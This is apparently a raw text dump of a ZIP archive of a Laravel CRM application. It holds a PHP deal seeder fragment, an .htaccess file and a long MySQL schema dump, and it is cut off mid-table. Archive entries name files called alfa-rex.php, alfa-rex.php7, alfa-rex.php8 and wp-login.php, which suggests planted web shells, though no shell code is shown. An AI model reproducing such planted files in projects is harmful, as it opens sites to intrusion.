$deal->company_id = $companyId; $deal->agent_id = $faker->randomElement($leadAgents); $deal->lead_pipeline_id = $faker->randomElement($getPipeline); $deal->pipeline_stage_id = $faker->randomElement($getLeadStage); $deal->lead_id = $faker->randomElement($getLeadContact); $deal->save(); $deal->name = $deal->contact->client_name . '-' . $deal->id; $deal->save(); }); } private function getLeadAgent($companyId) { return LeadAgent::where('company_id', $companyId)->pluck('id')->toArray(); } private function getLeadStatus($companyId) { return LeadStatus::where('company_id', $companyId)->pluck('id')->toArray(); } private function getPipeline($companyId) { return LeadPipeline::where('company_id', $companyId)->pluck('id')->toArray(); } private function getLeadStage($companyId) { $leadPipeline = LeadPipeline::where('company_id', $companyId)->first(); return PipelineStage::where('company_id', $companyId)->where('lead_pipeline_id', $leadPipeline->id)->pluck('id')->toArray(); } private function getContact($companyId) { return Lead::where('company_id', $companyId)->pluck('id')->toArray(); } } PKZGAk}|-|- alfa-rex.php8nu[PKZGAk}|-|- wp-login.phpnu[PKZxr .gitignorenu[*.sqlite *.sqlite-journal PKZGAk}|-|-alfa-rex.php56nu[PKZGAk}|-|-schema/alfa-rex.phpnu[PKZ]ddschema/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-schema/alfa-rex.php7nu[PKZGAk}|-|-schema/alfa-rex.php8nu[PKZ$nnschema/mysql-schema.dumpnu[/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; DROP TABLE IF EXISTS `accept_estimates`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `accept_estimates` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `estimate_id` int unsigned NOT NULL, `full_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `signature` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `accept_estimates_company_id_foreign` (`company_id`), KEY `accept_estimates_estimate_id_foreign` (`estimate_id`), CONSTRAINT `accept_estimates_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `accept_estimates_estimate_id_foreign` FOREIGN KEY (`estimate_id`) REFERENCES `estimates` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `attendance_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `attendance_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `auto_clock_in` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `office_start_time` time NOT NULL, `office_end_time` time NOT NULL, `halfday_mark_time` time DEFAULT NULL, `late_mark_duration` tinyint NOT NULL, `clockin_in_day` int NOT NULL DEFAULT '1', `employee_clock_in_out` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'yes', `office_open_days` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '[1,2,3,4,5]', `ip_address` text COLLATE utf8mb4_unicode_ci, `radius` int DEFAULT NULL, `radius_check` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `ip_check` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `alert_after` int DEFAULT NULL, `alert_after_status` tinyint(1) NOT NULL DEFAULT '1', `save_current_location` tinyint(1) NOT NULL DEFAULT '0', `default_employee_shift` bigint unsigned DEFAULT '1', `week_start_from` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '1', `allow_shift_change` tinyint(1) NOT NULL DEFAULT '1', `show_clock_in_button` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `attendance_settings_company_id_foreign` (`company_id`), KEY `attendance_settings_default_employee_shift_foreign` (`default_employee_shift`), CONSTRAINT `attendance_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `attendance_settings_default_employee_shift_foreign` FOREIGN KEY (`default_employee_shift`) REFERENCES `employee_shifts` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `attendances`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `attendances` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `location_id` bigint unsigned DEFAULT NULL, `clock_in_time` datetime NOT NULL, `clock_out_time` datetime DEFAULT NULL, `clock_in_ip` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `clock_out_ip` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `working_from` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'office', `late` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `half_day` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `latitude` decimal(10,8) DEFAULT NULL, `longitude` decimal(11,8) DEFAULT NULL, `shift_start_time` datetime DEFAULT NULL, `shift_end_time` datetime DEFAULT NULL, `employee_shift_id` bigint unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `attendances_company_id_foreign` (`company_id`), KEY `attendances_user_id_foreign` (`user_id`), KEY `attendances_location_id_foreign` (`location_id`), KEY `attendances_clock_in_time_index` (`clock_in_time`), KEY `attendances_clock_out_time_index` (`clock_out_time`), KEY `attendances_added_by_foreign` (`added_by`), KEY `attendances_last_updated_by_foreign` (`last_updated_by`), KEY `attendances_employee_shift_id_foreign` (`employee_shift_id`), CONSTRAINT `attendances_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `attendances_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `attendances_employee_shift_id_foreign` FOREIGN KEY (`employee_shift_id`) REFERENCES `employee_shifts` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `attendances_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `attendances_location_id_foreign` FOREIGN KEY (`location_id`) REFERENCES `company_addresses` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `attendances_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_categories`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_categories` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_categories_company_id_foreign` (`company_id`), CONSTRAINT `client_categories_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_contacts`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_contacts` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `contact_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_contacts_company_id_foreign` (`company_id`), KEY `client_contacts_user_id_foreign` (`user_id`), KEY `client_contacts_added_by_foreign` (`added_by`), KEY `client_contacts_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `client_contacts_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_contacts_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_contacts_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_contacts_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_details`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_details` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `company_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` text COLLATE utf8mb4_unicode_ci, `shipping_address` text COLLATE utf8mb4_unicode_ci, `postal_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `state` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `city` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `office` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `website` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `note` text COLLATE utf8mb4_unicode_ci, `linkedin` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `facebook` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `twitter` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `skype` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `gst_number` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `category_id` bigint unsigned DEFAULT NULL, `sub_category_id` bigint unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_details_company_id_foreign` (`company_id`), KEY `client_details_user_id_foreign` (`user_id`), KEY `client_details_category_id_foreign` (`category_id`), KEY `client_details_sub_category_id_foreign` (`sub_category_id`), KEY `client_details_added_by_foreign` (`added_by`), KEY `client_details_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `client_details_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_details_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `client_categories` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_details_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_details_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_details_sub_category_id_foreign` FOREIGN KEY (`sub_category_id`) REFERENCES `client_sub_categories` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_details_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_docs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_docs` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `filename` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `size` varchar(200) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_docs_company_id_foreign` (`company_id`), KEY `client_docs_user_id_foreign` (`user_id`), KEY `client_docs_added_by_foreign` (`added_by`), KEY `client_docs_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `client_docs_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_docs_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_docs_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_docs_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `client_id` int unsigned DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` tinyint(1) NOT NULL DEFAULT '0', `member_id` int unsigned DEFAULT NULL, `is_client_show` tinyint(1) NOT NULL DEFAULT '0', `ask_password` tinyint(1) NOT NULL DEFAULT '0', `details` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_notes_company_id_foreign` (`company_id`), KEY `client_notes_client_id_foreign` (`client_id`), KEY `client_notes_member_id_foreign` (`member_id`), KEY `client_notes_added_by_foreign` (`added_by`), KEY `client_notes_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `client_notes_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_notes_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_notes_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_notes_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `client_notes_member_id_foreign` FOREIGN KEY (`member_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_sub_categories`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_sub_categories` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_id` bigint unsigned NOT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_sub_categories_company_id_foreign` (`company_id`), KEY `client_sub_categories_category_id_foreign` (`category_id`), CONSTRAINT `client_sub_categories_category_id_foreign` FOREIGN KEY (`category_id`) REFERENCES `client_categories` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_sub_categories_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `client_user_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `client_user_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `client_note_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `client_user_notes_company_id_foreign` (`company_id`), KEY `client_user_notes_user_id_foreign` (`user_id`), KEY `client_user_notes_client_note_id_foreign` (`client_note_id`), CONSTRAINT `client_user_notes_client_note_id_foreign` FOREIGN KEY (`client_note_id`) REFERENCES `client_notes` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_user_notes_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `client_user_notes_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `companies`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `companies` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `app_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `company_email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `company_phone` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `logo` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `login_background` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` text COLLATE utf8mb4_unicode_ci NOT NULL, `website` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `currency_id` int unsigned DEFAULT NULL, `timezone` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'Asia/Kolkata', `date_format` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'd-m-Y', `date_picker_format` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'dd-mm-yyyy', `moment_format` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'DD-MM-YYYY', `time_format` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'h:i a', `locale` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'en', `latitude` decimal(10,8) NOT NULL DEFAULT '26.91243360', `longitude` decimal(11,8) NOT NULL DEFAULT '75.78727090', `leaves_start_from` enum('joining_date','year_start') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'joining_date', `active_theme` enum('default','custom') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'default', `last_updated_by` int unsigned DEFAULT NULL, `currency_converter_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_map_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `task_self` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'yes', `purchase_code` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `license_type` varchar(20) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `supported_until` timestamp NULL DEFAULT NULL, `google_recaptcha_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `google_recaptcha_v2_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `google_recaptcha_v2_site_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_recaptcha_v2_secret_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_recaptcha_v3_status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'deactive', `google_recaptcha_v3_site_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_recaptcha_v3_secret_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `app_debug` tinyint(1) NOT NULL DEFAULT '0', `rounded_theme` tinyint(1) NOT NULL DEFAULT '1', `hide_cron_message` tinyint(1) NOT NULL DEFAULT '0', `system_update` tinyint(1) NOT NULL DEFAULT '1', `logo_background_color` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '#ffffff', `before_days` int NOT NULL, `after_days` int NOT NULL, `on_deadline` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'yes', `default_task_status` int unsigned NOT NULL DEFAULT '1', `show_review_modal` tinyint(1) NOT NULL DEFAULT '1', `dashboard_clock` tinyint(1) NOT NULL DEFAULT '1', `ticket_form_google_captcha` tinyint(1) NOT NULL DEFAULT '0', `lead_form_google_captcha` tinyint(1) NOT NULL DEFAULT '0', `taskboard_length` int NOT NULL DEFAULT '10', `last_cron_run` timestamp NULL DEFAULT NULL, `favicon` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `auth_theme` enum('dark','light') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'light', `light_logo` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `sidebar_logo_style` enum('square','full') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'square', `session_driver` enum('file','database') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'file', `allow_client_signup` tinyint(1) NOT NULL, `admin_client_signup_approval` tinyint(1) NOT NULL, `allowed_file_types` text COLLATE utf8mb4_unicode_ci, `google_calendar_status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'inactive', `google_client_id` text COLLATE utf8mb4_unicode_ci, `google_client_secret` text COLLATE utf8mb4_unicode_ci, `google_calendar_verification_status` enum('verified','non_verified') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'non_verified', `google_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `token` text COLLATE utf8mb4_unicode_ci, `allowed_file_size` int NOT NULL DEFAULT '10', `currency_key_version` enum('free','api') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'free', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `companies_currency_id_foreign` (`currency_id`), KEY `companies_last_updated_by_foreign` (`last_updated_by`), KEY `companies_default_task_status_foreign` (`default_task_status`), CONSTRAINT `companies_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `companies_default_task_status_foreign` FOREIGN KEY (`default_task_status`) REFERENCES `taskboard_columns` (`id`) ON UPDATE CASCADE, CONSTRAINT `companies_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `company_addresses`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `company_addresses` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `address` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `is_default` tinyint(1) NOT NULL, `tax_number` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `tax_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `location` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `company_addresses_company_id_foreign` (`company_id`), CONSTRAINT `company_addresses_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contract_discussions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contract_discussions` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `contract_id` bigint unsigned NOT NULL, `from` int unsigned NOT NULL, `message` longtext COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `contract_discussions_company_id_foreign` (`company_id`), KEY `contract_discussions_contract_id_foreign` (`contract_id`), KEY `contract_discussions_from_foreign` (`from`), KEY `contract_discussions_added_by_foreign` (`added_by`), KEY `contract_discussions_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `contract_discussions_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `contract_discussions_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_discussions_contract_id_foreign` FOREIGN KEY (`contract_id`) REFERENCES `contracts` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_discussions_from_foreign` FOREIGN KEY (`from`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `contract_discussions_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `contract_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `contract_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `contract_id` bigint unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci 